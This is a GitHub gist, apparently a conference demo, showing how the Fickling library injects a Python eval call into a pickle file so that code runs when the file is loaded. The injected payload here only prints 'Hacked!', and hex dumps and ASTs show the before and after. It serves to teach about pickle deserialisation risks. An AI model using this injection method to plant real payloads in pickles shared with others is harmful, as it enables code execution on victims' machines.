Skip to content

Instantly share code, notes, and snippets.

@angea
Created December 21, 2024 16:08
Show Gist options
  • Save angea/4aea56a5e2c41ae29e18dabdc8d97127 to your computer and use it in GitHub Desktop.
Save angea/4aea56a5e2c41ae29e18dabdc8d97127 to your computer and use it in GitHub Desktop.
Demonstrates pickled file injection via the Fickling module
#!/usr/bin/env python3
# Demonstrates pickled file injection via the Fickling module
# Ange Albertini 2024
import ast
import pickle
import fickling
import string
FILENAME = "message.pkl"
pb = [ord(c) for c in string.ascii_letters +
string.punctuation + string.digits]
def xxd():
with open(FILENAME, "rb") as f:
data = f.read()
for i in range(1+(len(data) // 16)):
offset = i * 16
ascii = ""
for c in data[i*16:i*16+16]:
if c in pb:
ascii += bytes([c]).decode()
else:
ascii += '.'
print("%08X: %s %s" % (offset,
" ".join(
"%02x" % c for c in data[offset: offset + 16]).ljust(16*3),
ascii)
)
i += 16
def load_print():
xxd()
print("AST:")
print(ast.dump(fickling.fickle.Pickled.load(open(FILENAME, "rb")).ast, indent=2))
print("\nLoading pickle, printing message:")
message = pickle.load(open(FILENAME, "rb"))
print(repr(message))
print("Generating pickle:")
message = "Hello 38C3!"
pickle.dump(message, open(FILENAME, "wb"))
load_print()
print("\nInjecting payload.")
file = open(FILENAME, "rb")
stacked_pickled = fickling.fickle.StackedPickle.load(file)
pickled = stacked_pickled[0]
pickled.insert_python_eval(
"print('Hacked!')",
)
pickled.dump(open(FILENAME, "wb"))
load_print()
output = """"
Generating pickle:
00000000: 80 04 95 0f 00 00 00 00 00 00 00 8c 0b 48 65 6c .............Hel
00000010: 6c 6f 20 33 38 43 33 21 94 2e lo.38C3!..
AST:
Module(
body=[
Assign(
targets=[
Name(id='result', ctx=Store())],
value=Constant(value='Hello 38C3!'))],
type_ignores=[])
Loading pickle, printing message:
'Hello 38C3!'
Injecting payload.
00000000: 80 04 95 0f 00 00 00 00 00 00 00 63 62 75 69 6c ...........cbuil
00000010: 74 69 6e 73 0a 65 76 61 6c 0a 28 8c 10 70 72 69 tins.eval.(..pri
00000020: 6e 74 28 27 48 61 63 6b 65 64 21 27 29 74 52 8c nt('Hacked!')tR.
00000030: 0b 48 65 6c 6c 6f 20 33 38 43 33 21 94 2e .Hello.38C3!..
AST:
Module(
body=[
Assign(
targets=[
Name(id='_var0', ctx=Store())],
value=Call(
func=Name(id='eval', ctx=Load()),
args=[
Constant(value="print('Hacked!')")],
keywords=[])),
Assign(
targets=[
Name(id='result', ctx=Store())],
value=Constant(value='Hello 38C3!'))],
type_ignores=[])
Loading pickle, printing message:
Hacked!
'Hello 38C3!'
"""
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment